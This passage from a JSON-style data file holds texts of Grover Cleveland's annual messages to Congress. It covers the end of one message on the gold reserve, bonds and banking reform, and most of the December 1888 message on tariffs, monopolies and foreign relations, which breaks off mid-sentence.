passengers and products across the sea should be turned into\nAmerican hands. Shipbuilding, which has been protected to strangulation,\nshould be revived by the prospect of profitable employment for ships when\nbuilt, and the American sailor should be resurrected and again take his\nplace--a sturdy and industrious citizen in time of peace and a patriotic and\nsafe defender of American interests in the day of conflict.The ancient provision of our law denying American registry to ships built\nabroad and owned by Americans appears in the light of present conditions not\nonly to be a failure for good at every point, but to be nearer a relic of\nbarbarism than anything that exists under the permission of a statute of the\nUnited States. I earnestly recommend its prompt repeal.During the last month the gold reserved in the Treasury for the purpose of\nredeeming the notes of the Government circulating as money in the hands of the\npeople became so reduced and its further depletion in the near future seemed\nso certain that in the exercise of proper care for the public welfare it\nbecame necessary to replenish this reserve and thus maintain popular faith in\nthe ability and determination of the Government to meet as agreed its\npecuniary obligations.It would have been well if in this emergency authority had existed to issue\nthe bonds of the Government bearing a low rate of interest and maturing within\na short period; but the Congress having failed to confer such authority,\nresort was necessarily had to the resumption act of 1875, and pursuant to its\nprovisions bonds were issued drawing interest at the rate of 5 per cent per\nannum and maturing ten years after their issue, that being the shortest time\nauthorized by the act. I am glad to say, however, that on the sale of these\nbonds the premium received operated to reduce the rate of interest to be paid\nby the Government to less than 3 per cent.Nothing could be worse or further removed from sensible finance than the\nrelations existing between the currency the Government has issued, the gold\nheld for its redemption, and the means which must be resorted to for the\npurpose of replenishing such redemption fund when impaired. Even if the claims\nupon this fund were confined to the obligations originally intended and if the\nredemption of these obligations meant their cancellation, the fund would be\nvery small. But these obligations when received and redeemed in gold are not\ncanceled, but are reissued and may do duty many times by way of drawing gold\nfrom the Treasury. Thus we have an endless chain in operation constantly\ndepleting the Treasury's gold and never near a final rest. As if this was not\nbad enough, we have, by a statutory declaration that it is the policy of the\nGovernment to maintain the parity between gold and silver, aided the force and\nmomentum of this exhausting process and added largely to the currency\nobligations claiming this peculiar gold redemption. Our small gold reserve is\nthus subject to drain from every side. The demands that increase our danger\nalso increase the necessity of protecting this reserve against depletion, and\nit is most unsatisfactory to know that the protection afforded is only a\ntemporary palliation.It is perfectly and palpably plain that the only way under present conditions\nby which this reserve when dangerously depleted can be replenished is through\nthe issue and sale of the bonds of the Government for gold, and yet Congress\nhas not only thus far declined to authorize the issue of bonds best suited to\nsuch a purpose, but there seems a disposition in some quarters to deny both\nthe necessity and power for the issue of bonds at all.I can not for a moment believe that any of our citizens are deliberately\nwilling that their Government should default in its pecuniary obligations or\nthat its financial operations should be reduced to a silver basis. At any\nrate, I should not feel that my duty was done if I omitted any effort I could\nmake to avert such a calamity. As long, therefore, as no provision is made for\nthe final redemption or the putting aside of the currency obligation now used\nto repeatedly and constantly draw from the Government its gold, and as long as\nno better authority for bond issues is allowed than at present exists, such\nauthority will be utilized whenever and as often as it becomes necessary to\nmaintain a sufficient gold reserve, and in abundant time to save the credit of\nour country and make good the financial declarations of our Government.Questions relating to our banks and currency are closely connected with the\nsubject just referred to, and they also present some unsatisfactory features.\nProminent among them are the lack of elasticity in our currency circulation\nand its frequent concentration in financial centers when it is most needed in\nother parts of the country.The absolute divorcement of the Government from the business of banking is the\nideal relationship of the Government to the circulation of the currency of the\ncountry.This condition can not be immediately reached, but as a step in that direction\nand as a means of securing a more elastic currency and obviating other\nobjections to the present arrangement of bank circulation the Secretary of the\nTreasury presents in his report a scheme modifying present banking laws and\nproviding for the issue of circulating notes by State banks free from taxation\nunder certain limitations.The Secretary explains his plan so plainly and its advantages are developed by\nhim with such remarkable clearness that any effort on my part to present\nargument in its support would be superfluous. I shall therefore content myself\nwith an unqualified indorsement of the Secretary's proposed changes in the law\nand a brief and imperfect statement of their prominent features. It is\nproposed to repeal all laws providing for the deposit of United States bonds\nas security for circulation; to permit national banks to issue circulating\nnotes not exceeding in amount 75 per cent of their paid-up and unimpaired\ncapital, provided they deposit with the Government as a guaranty fund, in\nUnited States legal-tender notes, including Treasury notes of 1890, a sum\nequal in amount to 30 per cent of the notes they desire to issue, this deposit\nto be maintained at all times, but whenever any bank retires any part of its\ncirculation a proportional part of its guaranty fund shall be returned to it;\nto permit the Secretary of the Treasury to prepare and keep on hand ready for\nissue in case an increase in circulation is desired blank national-bank notes\nfor each bank having circulation and to repeal the provisions of the present\nlaw imposing limitations and restrictions upon banks desiring to reduce or\nincrease their circulation, thus permitting such increase or reduction within\nthe limit of 75 per cent of capital to be quickly made as emergencies arise.In addition to the guaranty fund required, it is proposed to provide a safety\nfund for the immediate redemption of the circulating notes of failed banks by\nimposing a small annual tax, say one-half of 1 per cent, upon the average\ncirculation of each bank until the fund amounts to 5 per cent of the total\ncirculation outstanding. When a bank fails its guaranty fund is to be paid\ninto this safety fund and its notes are to be redeemed in the first instance\nfrom such safety fund thus augmented, any impairment of such fund caused\nthereby to be made good from the immediately available cash assets of said\nbank, and if these should be insufficient such impairment to be made good by\npro rata assessment among the other banks, their contributions constituting a\nfirst lien upon the assets of the failed bank in favor of the contributing\nbanks. As a further security it is contemplated that the existing provision\nfixing the individual liability of stockholders is to be retained and the\nbank's indebtedness on account of its circulating notes is to be made a first\nlien on all its assets.For the purpose of meeting the expense of printing notes, official\nsupervision, cancellation, and other like charges there shall be imposed a tax\nof say one-half of 1 per cent per annum upon the average amount of notes in\ncirculation.It is further provided that there shall be no national-bank notes issued of a\nless denomination than $10; that each national bank, except in case of a\nfailed bank, shall redeem or retire its notes in the first instance at its own\noffice or at agencies to be designated by it, and that no fixed reserve need\nbe maintained on account of deposits.Another very important feature of this plan is the exemption of State banks\nfrom taxation by the United States in cases where it is shown to the\nsatisfaction of the Secretary of the Treasury and Comptroller of the Currency\nby banks claiming such exemption that they have not had outstanding their\ncirculating notes exceeding 75 per cent of their paid-up and unimpaired\ncapital; that their stockholders are individually liable for the redemption of\ntheir circulating notes to the full extent of their ownership of stock; that\nthe liability of said banks upon their circulating notes constitutes under\ntheir State law a first lien upon their assets; that such banks have kept and\nmaintained a guaranty fund in United States legal-tender notes, including\nTreasury notes of 1890, equal to 30 per cent of their outstanding circulating\nnotes, and that such banks have promptly redeemed their circulating notes when\npresented at their principal or branch offices.It is quite likely that this scheme may be usefully amended in some of its\ndetails, but I am satisfied it furnishes a basis for a very great improvement\nin our present banking and currency system.I conclude this communication fully appreciating that the responsibility for\nall legislation affecting the people of the United States rests upon their\nrepresentatives in the Congress, and assuring them that, whether in accordance\nwith recommendations I have made or not, I shall be glad to cooperate in\nperfecting any legislation that tends to the prosperity and welfare of our\ncountry.GROVER CLEVELAND", 
+    "name": "Grover Cleveland"
+}
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+{
+    "date": "December 3, 1888", 
+    "speech": "To the Congress of the United States:As you assemble for the discharge of the duties you have assumed as the\nrepresentatives of a free and generous people, your meeting is marked by an\ninteresting and impressive incident. With the expiration of the present\nsession of the Congress the first century of our constitutional existence\nas a nation will be completed.Our survival for one hundred years is not sufficient to assure us that we\nno longer have dangers to fear in the maintenance, with all its promised\nblessings, of a government rounded upon the freedom of the people. The time\nrather admonishes us to soberly inquire whether in the past we have always\nclosely kept in the course of safety, and whether we have before us a way\nplain and clear which leads to happiness and perpetuity.When the experiment of our Government was undertaken, the chart adopted for\nour guidance was the Constitution. Departure from the lines there laid down\nis failure. It is only by a strict adherence to the direction they indicate\nand by restraint within the limitations they fix that we can furnish proof\nto the world of the fitness of the American people for self-government.The equal and exact justice of which we boast as the underlying principle\nof our institutions should not be confined to the relations of our citizens\nto each other. The Government itself is under bond to the American people\nthat in the exercise of its functions and powers it will deal with the body\nof our citizens in a manner scrupulously honest and fair and absolutely\njust. It has agreed that American citizenship shall be the only credential\nnecessary to justify the claim of equality before the law, and that no\ncondition in life shall give rise to discrimination in the treatment of the\npeople by their Government.The citizen of our Republic in its early days rigidly insisted upon full\ncompliance with the letter of this bond, and saw stretching out before him\na clear field for individual endeavor. His tribute to the support of his\nGovernment was measured by the cost of its economical maintenance, and he\nwas secure in the enjoyment of the remaining recompense of his steady and\ncontented toil. In those days the frugality of the people was stamped upon\ntheir Government, and was enforced by the free, thoughtful, and intelligent\nsuffrage of the citizen. Combinations, monopolies, and aggregations of\ncapital were either avoided or sternly regulated and restrained. The pomp\nand glitter of governments less free offered no temptation and presented no\ndelusion to the plain people who, side by side, in friendly competition,\nwrought for the ennoblement and dignity of man, for the solution of the\nproblem of free government, and for the achievement of the grand destiny\nawaiting the land which God had given them.A century has passed. Our cities are the abiding places of wealth and\nluxury; our manufactories yield fortunes never dreamed of by the fathers of\nthe Republic; our business men are madly striving in the race for riches,\nand immense aggregations of capital outrun the imagination in the magnitude\nof their undertakings.We view with pride and satisfaction this bright picture of our country's\ngrowth and prosperity, while only a closer scrutiny develops a somber\nshading. Upon more careful inspection we find the wealth and luxury of our\ncities mingled with poverty and wretchedness and unremunerative toil. A\ncrowded and constantly increasing urban population suggests the\nimpoverishment of rural sections and discontent with agricultural pursuits.\nThe farmer's son, not satisfied with his father's simple and laborious\nlife, joins the eager chase for easily acquired wealth.We discover that the fortunes realized by our manufacturers are no longer\nsolely the reward of sturdy industry and enlightened foresight, but that\nthey result from the discriminating favor of the Government and are largely\nbuilt upon undue exactions from the masses of our people. The gulf between\nemployers and the employed is constantly widening, and classes are rapidly\nforming, one comprising the very rich and powerful, while in another are\nfound the toiling poor.As we view the achievements of aggregated capital, we discover the\nexistence of trusts, combinations, and monopolies, while the citizen is\nstruggling far in the rear or is trampled to death beneath an iron heel.\nCorporations, which should be the carefully restrained creatures of the law\nand the servants of the people, are fast becoming the people's masters.Still congratulating ourselves upon the wealth and prosperity of our\ncountry and complacently contemplating every incident of change inseparable\nfrom these conditions, it is our duty as patriotic citizens to inquire at\nthe present stage of our progress how the bond of the Government made with\nthe people has been kept and performed.Instead of limiting the tribute drawn from our citizens to the necessities\nof its economical administration, the Government persists in exacting from\nthe substance of the people millions which, unapplied and useless, lie\ndormant in its Treasury. This flagrant injustice and this breach of faith\nand obligation add to extortion the danger attending the diversion of the\ncurrency of the country from the legitimate channels of business.Under the same laws by which these results are produced the Government\npermits many millions more to be added to the cost of the living of our\npeople and to be taken from our consumers, which unreasonably swell the\nprofits of a small but powerful minority.The people must still be taxed for the support of the Government under the\noperation of tariff laws. But to the extent that the mass of our citizens\nare inordinately burdened beyond any useful public purpose and for the\nbenefit of a favored few, the Government, under pretext of an exercise of\nits taxing power, enters gratuitously into partnership with these\nfavorites, to their advantage and to the injury of a vast majority of our\npeople.This is not equality before the law.The existing situation is injurious to the health of our entire body\npolitic. It stifles in those for whose benefit it is permitted all\npatriotic love of country, and substitutes in its place selfish greed and\ngrasping avarice. Devotion to American citizenship for its own sake and for\nwhat it should accomplish as a motive to our nation's advancement and the\nhappiness of all our people is displaced by the assumption that the\nGovernment, instead of being the embodiment of equality, is but an\ninstrumentality through which especial and individual advantages are to be\ngained.The arrogance of this assumption is unconcealed. It appears in the sordid\ndisregard of all but personal interests, in the refusal to abate for the\nbenefit of others one iota of selfish advantage, and in combinations to\nperpetuate such advantages through efforts to control legislation and\nimproperly influence the suffrages of the people.The grievances of those not included within the circle of these\nbeneficiaries, when fully realized, will surely arouse irritation and\ndiscontent. Our farmers, long suffering and patient, struggling in the race\nof life with the hardest and most unremitting toil, will not fail to see,\nin spite of misrepresentations and misleading fallacies, that they are\nobliged to accept such prices for their products as are fixed in foreign\nmarkets where they compete with the farmers of the world; that their lands\nare declining in value while their debts increase, and that without\ncompensating favor they are forced by the action of the Government to pay\nfor the benefit of others such enhanced prices for the things they need\nthat the scanty returns of their labor fail to furnish their support or\nleave no margin for accumulation.Our workingmen, enfranchised from all delusions and no longer frightened by\nthe cry that their wages are endangered by a just revision of our tariff\nlaws, will reasonably demand through such revision steadier employment,\ncheaper means of living in their homes, freedom for themselves and their\nchildren from the doom of perpetual servitude, and an open door to their\nadvancement beyond the limits of a laboring class. Others of our citizens,\nwhose comforts and expenditures are measured by moderate salaries and fixed\nincomes, will insist upon the fairness and justice of cheapening the cost\nof necessaries for themselves and their families.When to the selfishness of the beneficiaries of unjust discrimination under\nour laws there shall be added the discontent of those who suffer from such\ndiscrimination, we will realize the fact that the beneficent purposes of\nour Government, dependent upon the patriotism and contentment of our\npeople, are endangered.Communism is a hateful thing and a menace to peace and organized\ngovernment; but the communism of combined wealth and capital, the outgrowth\nof overweening cupidity and selfishness, which insidiously undermines the\njustice and integrity of free institutions, is not less dangerous than the\ncommunism of oppressed poverty and toil, which, exasperated by injustice\nand discontent, attacks with wild disorder the citadel of rule.He mocks the people who proposes that the Government shall protect the rich\nand that they in turn will care for the laboring poor. Any intermediary\nbetween the people and their Government or the least delegation of the care\nand protection the Government owes to the humblest citizen in the land\nmakes the boast of free institutions a glittering delusion and the\npretended boon of American citizenship a shameless imposition.A just and sensible revision of our tariff laws should be made for the\nrelief of those of our countrymen who suffer under present conditions. Such\na revision should receive the support of all who love that justice and\nequality due to American citizenship; of all who realize that in this\njustice and equality our Government finds its strength and its power to\nprotect the citizen and his property; of all who believe that the contented\ncompetence and comfort of many accord better with the spirit of our\ninstitutions than colossal fortunes unfairly gathered in the hands of a\nfew; of all who appreciate that the forbearance and fraternity among our\npeople, which recognize the value of every American interest, are the\nsurest guaranty of our national progress, and of all who desire to see the\nproducts of American skill and ingenuity in every market of the world, with\na resulting restoration of American commerce.The necessity of the reduction of our revenues is so apparent as to be\ngenerally conceded, but the means by which this end shall be accomplished\nand the sum of direct benefit which shall result to our citizens present a\ncontroversy of the utmost importance. There should be no scheme accepted as\nsatisfactory by which the burdens of the people are only apparently\nremoved. Extravagant appropriations of public money, with all their\ndemoralizing consequences, should not be tolerated, either as a means of\nrelieving the Treasury of its present surplus or as furnishing pretext for\nresisting a proper reduction in tariff rates. Existing evils and injustice\nshould be honestly recognized, boldly met, and effectively remedied. There\nshould be no cessation of the struggle until a plan is perfected, fair and\nconservative toward existing industries, but which will reduce the cost to\nconsumers of the necessaries of life, while it provides for our\nmanufacturers the advantage of freer raw materials and permits no injury to\nthe interests of American labor.The cause for which the battle is waged is comprised within lines clearly\nand distinctly defined. It should never be compromised. It is the people's\ncause.It can not be denied that the selfish and private interests which are so\npersistently heard when efforts are made to deal in a just and\ncomprehensive manner with our tariff laws are related to, if they are not\nresponsible for, the sentiment largely prevailing among the people that the\nGeneral Government is the fountain of individual and private aid; that it\nmay be expected to relieve with paternal care the distress of citizens and\ncommunities, and that from the fullness of its Treasury it should, upon the\nslightest possible pretext of promoting the general good, apply public\nfunds to the benefit of localities and individuals. Nor can it be denied\nthat there is a growing assumption that, as against the Government and in\nfavor of private claims and interests, the usual rules and limitations of\nbusiness principles and just dealing should be waived.These ideas have been unhappily much encouraged by legislative\nacquiescence. Relief from contracts made with the Government is too easily\naccorded in favor of the citizen; the failure to support claims against the\nGovernment by proof is often supplied by no better consideration than the\nwealth of the Government and the poverty of the claimant; gratuities in the\nform of pensions are granted upon no other real ground than the needy\ncondition of the applicant, or for reasons less valid; and large sums are\nexpended for public buildings and other improvements upon representations\nscarcely claimed to be related to public needs and necessities.The extent to which the consideration of such matters subordinate and\npostpone action upon subjects of great public importance, but involving no\nspecial private or partisan interest, should arrest attention and lead to\nreformation.A few of the numerous illustrations of this condition may be stated.The crowded condition of the calendar of the Supreme Court, and the delay\nto suitors and denial of justice resulting therefrom, has been strongly\nurged upon the attention of the Congress, with a plan for the relief of the\nsituation approved by those well able to judge of its merits. While this\nsubject remains without effective consideration, many laws have been passed\nproviding for the holding of terms of inferior courts at places to suit the\nconvenience of localities, or to lay the foundation of an application for\nthe erection of a new public building.Repeated recommendations have been submitted for the amendment and change\nof the laws relating to our public lands so that their spoliation and\ndiversion to other uses than as homes for honest settlers might be\nprevented. While a measure to meet this conceded necessity of reform\nremains awaiting the action of the Congress, many claims to the public\nlands and applications for their donation, in favor of States and\nindividuals, have been allowed.A plan in aid of Indian management, recommended by those well informed as\ncontaining valuable features in furtherance of the solution of the Indian\nproblem, has thus far failed of legislative sanction, while grants of\ndoubtful expediency to railroad corporations, permitting them to pass\nthrough Indian reservations, have greatly multiplied.The propriety and necessity of the erection of one or more prisons for the\nconfinement of United States convicts, and a post-office building in the\nnational capital, are not disputed. But these needs yet remain answered,\nwhile scores of public buildings have been erected where their necessity\nfor public purposes is not apparent.A revision of our pension laws could easily be made which would rest upon\njust principles and provide for every worthy applicant. But while our\ngeneral pension laws remain confused and imperfect, hundreds of private\npension laws are annually passed, which are the sources of unjust\ndiscrimination and popular demoralization.Appropriation bills for the support of the Government are defaced by items\nand provisions to meet private ends, and it is freely asserted by\nresponsible and experienced parties that a bill appropriating money for\npublic internal improvement would fail to meet with favor unless it\ncontained items more for local and private advantage than for public\nbenefit.These statements can be much emphasized by an ascertainment of the\nproportion of Federal legislation which either bears upon its face its\nprivate character or which upon examination develops such a motive power.And yet the people wait and expect from their chosen representatives such\npatriotic action as will advance the welfare of the entire country; and\nthis expectation can only be answered by the performance of public duty\nwith unselfish purpose. Our mission among the nations of the earth and our\nsuccess in accomplishing the work God has given the American people to do\nrequire of those intrusted with the making and execution of our laws\nperfect devotion, above all other things, to the public good.This devotion will lead us to strongly resist all impatience of\nconstitutional limitations of Federal power and to persistently check the\nincreasing tendency to extend the scope of Federal legislation into the\ndomain of State and local jurisdiction upon the plea of subserving the\npublic welfare. The preservation of the partitions between proper subjects\nof Federal and local care and regulation is of such importance under the\nConstitution, which is the law of our very existence, that no consideration\nof expediency or sentiment should tempt us to enter upon doubtful ground.\nWe have undertaken to discover and proclaim the richest blessings of a free\ngovernment, with the Constitution as our guide. Let us follow the way it\npoints out; it will not mislead us. And surely no one who has taken upon\nhimself the solemn obligation to support and preserve the Constitution can\nfind justification or solace for disloyalty in the excuse that he wandered\nand disobeyed in search of a better way to reach the public welfare than\nthe Constitution offers.What has been said is deemed not inappropriate at a time when, from a\ncentury's height, we view the way already trod by the American people and\nattempt to discover their future path.The seventh President of the United States--the soldier and statesman and\nat all times the firm and brave friend of the people--in vindication of his\ncourse as the protector of popular rights and the champion of true American\ncitizenship, declared: The ambition which leads me on is an anxious desire\nand a fixed determination to restore to the people unimpaired the sacred\ntrust they have confided to my charge; to, heal the wounds of the\nConstitution and to preserve it from further violation; to persuade my\ncountrymen, so far as I may, that it is not in a splendid government\nsupported by powerful monopolies and aristocratical establishments that\nthey will find happiness or their liberties protection, but in a plain\nsystem, void of pomp, protecting all and granting favors to none,\ndispensing its blessings like the dews of heaven, unseen and unfelt save in\nthe freshness and beauty they contribute to produce. It is such a\ngovernment that the genius of our people requires--such an one only under\nwhich our States may remain for ages to come united, prosperous, and free.\nIn pursuance of a constitutional provision requiring the President from\ntime to time to give to the Congress information of the state of the Union,\nI have the satisfaction to announce that the close of the year finds the\nUnited States in the enjoyment of domestic tranquillity and at peace with\nall the nations.Since my last annual message our foreign relations have been strengthened\nand improved by performance of international good offices and by new and\nrenewed treaties of amity, commerce, and reciprocal extradition of\ncriminals.Those international questions which still await settlement are all\nreasonably within the domain of amicable negotiation, and there is no\nexisting subject of dispute between the United States and any foreign power\nthat is not susceptible of satisfactory adjustment by frank diplomatic\ntreatment.The questions between Great Britain and the United States relating to the\nrights of American fishermen, under treaty and international comity, in the\nterritorial waters of Canada and Newfoundland, I regret to say, are not yet\nsatisfactorily adjusted.These matters were fully treated in my message to the Senate of February 20\n1888, together with which a convention, concluded under my authority with\nHer Majesty's Government on the 15th of February last, for the removal of\nall causes of misunderstanding, was submitted by me for the approval of the\nSenate.This treaty having been rejected by the Senate, I transmitted a message to\nthe Congress on the 23d of August last reviewing the transactions and\nsubmitting for consideration certain recommendations for legislation\nconcerning the important questions involved.Afterwards, on the 12th of September, in response to a resolution of the\nSenate, I again communicated fully all the information in my possession as\nto the action of the government of Canada affecting the commercial\nrelations between the Dominion and the United States, including the\ntreatment of American fishing vessels in the ports and waters of British\nNorth America.These communications have all been published, and therefore opened to the\nknowledge of both Houses of Congress, although two were addressed to the\nSenate alone.Comment upon or repetition of their contents would be superfluous, and I am\nnot aware that anything has since occurred which should be added to the\nfacts therein stated. Therefore I merely repeat, as applicable to the\npresent time, the statement which will be found in my message to the Senate\nof September 12 last, that--Since March 3, 1887, no case has been reported\nto the Department of State wherein complaint was made of unfriendly or\nunlawful treatment of American fishing vessels on the part of the Canadian\nauthorities in which reparation was not promptly and satisfactorily\nobtained by the United States consul-general at Halifax. Having essayed in\nthe discharge of my duty to procure by negotiation the settlement of a\nlong-standing cause of dispute and to remove a constant menace to the good\nrelations of the two countries, and continuing to be of opinion that the\ntreaty of February last, which failed to receive the approval of the\nSenate, did supply \"a satisfactory, practical, and final adjustment, upon a\nbasis honorable and just to both parties, of the difficult and vexed\nquestion to which it related,\" and having subsequently and unavailingly\nrecommended other legislation to Congress which I hoped would suffice to\nmeet the exigency created by the rejection of the treaty, I now again\ninvoke the earnest and immediate attention of the Congress to the condition\nof this important question as it now stands before them and the country,\nand for the settlement of which I am deeply solicitous.Near the close of the month of October last occurrences of a deeply\nregrettable nature were brought to my knowledge, which made it my painful\nbut imperative duty to obtain with as little delay as possible a new\npersonal channel of diplomatic intercourse in this country with the\nGovernment of Great Britain.The correspondence in relation to this incident will in due course be laid\nbefore you, and will disclose the unpardonable conduct of the official\nreferred to in his interference by advice and counsel with the suffrages of\nAmerican citizens in the very crisis of the Presidential election then near\nat hand, and also in his subsequent public declarations to justify his\naction, superadding impugnment of the Executive and Senate of the United\nStates in connection with important questions now pending in controversy\nbetween the two Governments.The offense thus committed was most grave, involving disastrous\npossibilities to the good relations of the United States and Great Britain,\nconstituting a gross breach of diplomatic privilege and an invasion of the\npurely domestic affairs and essential sovereignty of the Government to\nwhich the envoy was accredited.Having first fulfilled the just demands of international comity by\naffording full opportunity for Her Majesty's Government to act in relief of\nthe situation, I considered prolongation of discussion to be unwarranted,\nand thereupon declined to further recognize the diplomatic character of the\nperson whose continuance in such function would destroy that mutual\nconfidence which is essential to the good understanding of the two\nGovernments and was inconsistent with the welfare and self-respect of the\nGovernment of the United States.The usual interchange of communication has since continued through Her\nMajesty's legation in this city.My endeavors to establish by international cooperation measures for the\nprevention of the extermination of fur seals in Bering Sea have not been\nrelaxed, and I have hopes of being enabled shortly to submit an effective\nand satisfactory conventional projet with the maritime powers for the\napproval of the Senate.The coastal boundary between our Alaskan possessions and British Columbia,\nI regret to say, has not received the attention demanded by its importance,\nand which on several occasions heretofore I have had the honor to recommend\nto the Congress.The admitted impracticability, if not impossibility, of making an accurate\nand precise survey and demarcation of the boundary line as it is recited in\nthe treaty with Russia under which Alaska was ceded to the United States\nrenders it absolutely requisite for the prevention of international\njurisdictional complications that adequate appropriation for a\nreconnoissance and survey to obtain proper knowledge of the locality and\nthe geographical features of the boundary should be authorized by Congress\nwith as little delay as possible.Knowledge to be only thus obtained is an essential prerequisite for\nnegotiation for ascertaining a common boundary, or as preliminary to any\nother mode of settlement.It is much to be desired that some agreement should be reached with Her\nMajesty's Government by which the damages to life and property on the Great\nLakes may be alleviated by removing or humanely regulating the obstacles to\nreciprocal assistance to wrecked or stranded vessels.The act of June 19, 1878, which offers to Canadian vessels free access to\nour inland waters in aid of wrecked or disabled vessels, has not yet become\neffective through concurrent action by Canada.The due protection of our citizens of French origin or descent from claim\nof military service in the event of their returning to or visiting France\nhas called forth correspondence which was laid before you at the last\nsession.In the absence of conventional agreement as to naturalization, which is\ngreatly to be desired, this Government sees no occasion to recede from the\nsound position it has maintained not only with regard to France, but as to\nall countries with which the United States have not concluded special\ntreaties.Twice within the last year has the imperial household of Germany been\nvisited by death; and I have hastened to express the sorrow of this people,\nand their appreciation of the lofty character of the late aged Emperor\nWilliam, and their sympathy with the heroism under suffering of his son the\nlate Emperor Frederick.I renew my recommendation of two years ago for the passage of a bill for\nthe refunding to certain German steamship lines of the interest upon\ntonnage dues illegally exacted.On the 12th [2d] of April last I laid before the House of Representatives\nfull information respecting our interests in Samoa; and in the subsequent\ncorrespondence on the same subject, which will be laid before you in due\ncourse, the history of events in those islands will be found.In a message accompanying my approval, on the 1st day of October last, of a\nbill for the exclusion of Chinese laborers, I laid before Congress full\ninformation and all correspondence touching the negotiation of the treaty\nwith China concluded at this capital on the 12th day of March, 1888, and\nwhich, having been confirmed by the Senate with certain amendments, was\nrejected by the Chinese Government. This message contained a recommendation\nthat a sum of money be appropriated as compensation to Chinese subjects who\nhad suffered injuries at the hands of lawless men within our jurisdiction.\nSuch appropriation having been duly made, the fund awaits reception by the\nChinese Government.It is sincerely hoped that by the cessation of the influx of this class of\nChinese subjects, in accordance with the expressed wish of both\nGovernments, a cause of unkind feeling has been permanently removed.On the 9th of August, 1887, notification was given by the Japanese minister\nat this capital of the adjournment of the conference for the revision of\nthe treaties of Japan with foreign powers, owing to the objection of his\nGovernment to the provision in the draft jurisdictional convention which\nrequired the submission of the criminal code of the Empire to the powers in\nadvance of its becoming operative. This notification was, however,\naccompanied with an assurance of Japan's intention to continue the work of\nrevision.Notwithstanding this temporary interruption of negotiations, it is hoped\nthat improvements may soon be secured in the jurisdictional system as\nrespects foreigners in Japan, and relief afforded to that country from the\npresent undue and oppressive foreign control in matters of commerce.I earnestly recommend that relief be provided for the injuries accidentally\ncaused to Japanese subjects in the island Ikisima by the target practice of\none of our vessels.A diplomatic mission from Korea has been received, and the formal\nintercourse between the two countries contemplated by the treaty of 1882 is\nnow established.Legislative provision is hereby recommended to organize and equip consular\ncourts in Korea.Persia has established diplomatic representation at this capital, and has\nevinced very great interest in the enterprise and achievements of our\ncitizens. I am therefore hopeful that beneficial commercial relations\nbetween the two countries may be brought about.I announce with sincere regret that Hayti has again become the theater of\ninsurrection, disorder, and bloodshed. The titular government of president\nSaloman has been forcibly overthrown and he driven out of the country to\nFrance, where he has since died.The tenure of power has been so unstable amid the war of factions that has\nensued since the expulsion of President Saloman that no government\nconstituted by the will of the Haytian people has been recognized as\nadministering responsibly the affairs of that country. Our representative\nhas been instructed to abstain from interference between the warring\nfactions, and a vessel of our Navy has been sent to Haytian waters to\nsustain our minister and for the protection of the persons and property of\nAmerican citizens.Due precautions have been taken to enforce our neutrality laws and prevent\nour territory from becoming the base of military supplies for either of the\nwarring factions.Under color of a blockade, of which no reasonable notice had been given,\nand which does not appear to have been efficiently maintained, a seizure of\nvessels under the American flag has been reported, and in consequence\nmeasures to prevent and redress any molestation of our innocent merchantmen\nhave been adopted.Proclamation was duly made on the 9th day of November, 1887, of the\nconventional extensions of the treaty of June 3, 1875, with Hawaii, under\nwhich relations of such special and beneficent intercourse have been\ncreated.In the vast field of Oriental commerce now unfolded from our Pacific\nborders no feature presents stronger recommendations for Congressional\naction than the establishment of communication by submarine telegraph with\nHonolulu.The geographical position of the Hawaiian group in relation to our Pacific\nStates creates a natural interdependency and mutuality of interest which\nour present treaties were intended to foster, and which make close\ncommunication a logical and commercial necessity.The wisdom of concluding a treaty of commercial reciprocity with Mexico has\nbeen heretofore stated in my messages to Congress, and the lapse of time\nand growth of commerce with that close neighbor and sister Republic confirm\nthe judgment so expressed.The precise relocation of our boundary line is needful, and adequate\nappropriation is now recommended.It is with sincere satisfaction that I am enabled to advert to the spirit\nof good neighborhood and friendly cooperation and conciliation that has\nmarked the correspondence and action of the Mexican authorities in their\nshare of the task of maintaining law and order about the line of our common\nboundary.The long-pending boundary dispute between Costa Rica and Nicaragua was\nreferred to my arbitration, and by an award made on the 22d of March last\nthe question has been finally settled to the expressed satisfaction of both\nof the parties in interest.The Empire of Brazil, in abolishing the last vestige of slavery among\nChristian nations, called forth the earnest congratulations of this\nGovernment in expression of the cordial sympathies of our people.The claims of nearly all other countries against Chile growing out of her\nlate war with Bolivia and Peru have been disposed of, either by arbitration\nor by a lump settlement. Similar claims of our citizens will continue to be\nurged upon the Chilean Government, and it is hoped will not be subject to\nfurther delays.A comprehensive treaty of amity and commerce with Peru was proclaimed on\nNovember 7 last, and it is expected that under its operation mutual\nprosperity and good understanding will be promoted.In pursuance of the policy of arbitration, a treaty to settle the claim of\nSantos, an American citizen, against Ecuador has been concluded under my\nauthority, and will be duly submitted for the approval of the Senate.Like disposition of the claim of Carlos Butterfield against Denmark and of\nVan Bokkelen against Hayti will probably be made, and I trust the principle\nof such settlements may be extended in practice under the approval of the\nSenate.Through unforeseen causes, foreign to the will of both Governments, the\nratification of the convention of December 5, 1885, with Venezuela, for the\nrehearing of claims of citizens of the United States under the treaty of\n1866, failed of exchange within the term provided, and a supplementary\nconvention, further extending the time for exchange of ratifications and\nexplanatory of an ambiguous provision of the prior convention, now awaits\nthe advice and consent of the Senate.Although this matter, in the stage referred to, concerns only the\nconcurrent treaty-making power of one branch of Congress, I advert to it in\nview of the interest repeatedly and conspicuously shown by you in your\nlegislative capacity in favor of a speedy and equitable adjustment of the\nquestions growing out of the discredited judgments of the previous mixed\ncommission of Caracas. With every desire to do justice to the\nrepresentations of Venezuela in this regard, the time seems to have come to\nend this matter, and I trust the prompt confirmation by both parties of the\nsupplementary action referred to will avert the need of legislative or\nother action to prevent the longer withholding of such rights of actual\nclaimants as may be shown to exist.As authorized by the Congress, preliminary steps have been taken for the\nassemblage at this capital during the coming year of the representatives of\nSouth and Central American States, together with those of Mexico, Hayti,\nand San Domingo, to discuss sundry important monetary and commercial\ntopics.Excepting in those cases where, from reasons of contiguity of territory and\nthe existence of a common border line incapable of being guarded,\nreciprocal commercial treaties may be found expedient, it is believed that\ncommercial policies inducing freer mutual exchange of products can be most\nadvantageously arranged by independent but cooperative legislation.In the mode last mentioned the control of our taxation for revenue will be\nalways retained in our own hands unrestricted by conventional agreements\nwith other governments.In conformity also with Congressional authority, the maritime powers have\nbeen invited to confer in Washington in April next upon the practicability\nof devising uniform rules and measures for the greater security of life and\nproperty at sea. A disposition to accept on the part of a number of the\npowers has already been manifested, and if the cooperation of the nations\nchiefly interested shall be secured important results may be confidently\nanticipated.The act of June 26, 1884, and the acts amendatory thereof, in relation to\ntonnage duties, have given rise to extended correspondence with foreign\nnations 